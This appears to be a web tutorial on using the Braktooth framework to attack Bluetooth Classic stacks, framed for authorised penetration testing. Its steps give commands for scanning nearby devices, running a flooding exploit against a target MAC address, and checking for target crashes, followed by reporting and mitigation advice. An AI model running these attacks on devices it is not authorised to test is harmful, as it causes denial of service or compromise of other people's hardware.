Bluetooth Security
Back to Guides

Braktooth Attack Tutorial

Learn to identify and exploit Bluetooth stack vulnerabilities using the Braktooth framework. This tutorial covers 16+ CVEs affecting major Bluetooth implementations.

Advanced
45 minutes
16+ CVEs

Legal and Ethical Warning

This tutorial is for educational and authorized penetration testing purposes only. Only test on devices you own or have explicit written permission to test. Unauthorized access to Bluetooth devices is illegal.

Advertisement
Sponsored

Tenable Security Solutions

Professional vulnerability management and security tools

Get 10% Off
Tenable Security
Support our research by checking out our partners
Attack Overview

Braktooth is a comprehensive security testing framework that targets vulnerabilities in Bluetooth Classic (BR/EDR) implementations. It exploits flaws in the Bluetooth stack to achieve various attack objectives including denial of service, arbitrary code execution, and information disclosure.

Attack Capabilities:

  • Denial of Service (DoS)
  • Remote Code Execution
  • Information Disclosure
  • Stack Buffer Overflow

Affected Systems:

  • ESP32 Bluetooth Stack
  • Cypress WICED SDK
  • Intel AX200 Series
  • Qualcomm QCA Series
Related CVEs
Braktooth exploits multiple CVEs across different Bluetooth implementations
CVE-2021-28139
High

Stack-based buffer overflow in Bluetooth stack

CVE-2021-28155
Critical

Remote code execution via malformed packets

CVE-2021-28135
High

Denial of service through packet flooding

CVE-2021-28136
Medium

Information disclosure vulnerability

Prerequisites
Required knowledge, hardware, and software for this tutorial

Hardware Requirements:

  • Linux system (Ubuntu 20.04+ recommended)
  • ESP32 development board with Bluetooth support
  • Target Bluetooth device for testing

Software Requirements:

  • Basic understanding of Bluetooth protocols
  • Python 3.8+ and pip package manager
  • Git for repository cloning
Required Tools

Braktooth Framework

Main exploitation framework

Required

ESP-IDF

ESP32 development framework

Required

Wireshark

Network protocol analyzer

Optional

BlueZ

Linux Bluetooth stack

Required

Python Libraries

scapy, pyserial, colorama

Required
Advertisement
Sponsored

Tenable Security Solutions

Professional vulnerability management and security tools

Get 10% Off
Tenable Security
Support our research by checking out our partners
Step-by-Step Tutorial

1Environment Setup

First, set up your testing environment with the required dependencies:

# Update system packages
sudo apt update && sudo apt upgrade -y
# Install required packages
sudo apt install git python3 python3-pip build-essential
sudo apt install bluez bluez-tools libbluetooth-dev
# Install Python dependencies
pip3 install scapy pyserial colorama

Verify Bluetooth is working on your system:

# Check Bluetooth status
sudo systemctl status bluetooth
hciconfig -a

2ESP32 Setup and Firmware

Configure your ESP32 development board for Braktooth attacks:

# Clone Braktooth repository
git clone https://github.com/Matheus-Garbelini/braktooth_esp32_bluetooth_classic_attacks.git
cd braktooth_esp32_bluetooth_classic_attacks
# Install ESP-IDF
mkdir -p ~/esp
cd ~/esp
git clone --recursive https://github.com/espressif/esp-idf.git
cd esp-idf
./install.sh
. ./export.sh

Note: Make sure your ESP32 is connected via USB and the correct port is detected. Use ls /dev/ttyUSB* or ls /dev/ttyACM* to find the device.

3Target Discovery and Analysis

Identify and analyze potential target devices:

# Scan for nearby Bluetooth devices
sudo hcitool scan
# Get detailed device information
sudo hcitool info [TARGET_MAC_ADDRESS]
# Check supported services
sdptool browse [TARGET_MAC_ADDRESS]

Use Braktooth's built-in scanner for vulnerability assessment:

# Run Braktooth scanner
cd braktooth_esp32_bluetooth_classic_attacks
sudo python3 braktooth_scanner.py --target [TARGET_MAC_ADDRESS]

4Exploit Execution

Execute specific exploits based on discovered vulnerabilities:

# Launch specific exploit (example: LMP flooding)
sudo python3 braktooth_exploit.py --exploit=lmp_au_rand_flooding \
--target=[TARGET_MAC_ADDRESS] \
--port=/dev/ttyUSB0
# Alternative: Use interactive mode
sudo python3 braktooth_exploit.py --interactive

Common Exploit Types:

  • LMP AU RAND Flooding: Causes DoS through authentication flooding
  • LMP Auto Rate: Exploits rate adaptation vulnerabilities
  • LMP Host Connection: Targets connection establishment flaws
  • Invalid Timing Attack: Exploits timing-based vulnerabilities

5Monitoring and Analysis

Monitor the attack progress and analyze results:

# Monitor Bluetooth traffic with Wireshark
sudo wireshark -i bluetooth0 &
# Check system logs for crash indicators
sudo dmesg | grep -i bluetooth
sudo journalctl -u bluetooth -f
# Verify target device status
sudo hcitool con

Success Indicators:

  • • Target device becomes unresponsive
  • • Connection drops or fails to establish
  • • Error messages in target device logs
  • • Abnormal packet patterns in Wireshark

6Documentation and Reporting

Document your findings for security assessment reports:

Report Elements:

  • Target Information: Device model, firmware version, MAC address
  • Vulnerability Details: Specific CVEs exploited, attack vectors used
  • Impact Assessment: DoS, code execution, information disclosure
  • Evidence: Screenshots, packet captures, log files
  • Remediation: Firmware updates, configuration changes
# Save Wireshark capture
# File → Save As → braktooth_attack_[timestamp].pcap
# Export Braktooth logs
cp braktooth_logs.txt report_evidence/
# Generate summary report
python3 generate_report.py --target [MAC] --exploits [LIST]
Mitigation Strategies

Immediate Actions:

  • • Update device firmware to latest version
  • • Disable Bluetooth when not needed
  • • Use non-discoverable mode
  • • Implement network segmentation

Long-term Solutions:

  • • Regular security assessments
  • • Vendor security update policies
  • • Network monitoring for anomalies
  • • Staff security awareness training
Advertisement
Sponsored

Tenable Security Solutions

Professional vulnerability management and security tools

Get 10% Off
Tenable Security
Support our research by checking out our partners
Related Resources

BIAS Attack Tutorial

Learn about Bluetooth Impersonation AttackS and authentication bypass techniques.

Security Tools

Explore additional Bluetooth security testing tools and frameworks.

Related CVEs

Browse all CVEs related to Braktooth vulnerabilities.

BSAM Methodology

Learn the complete Bluetooth Security Assessment Methodology.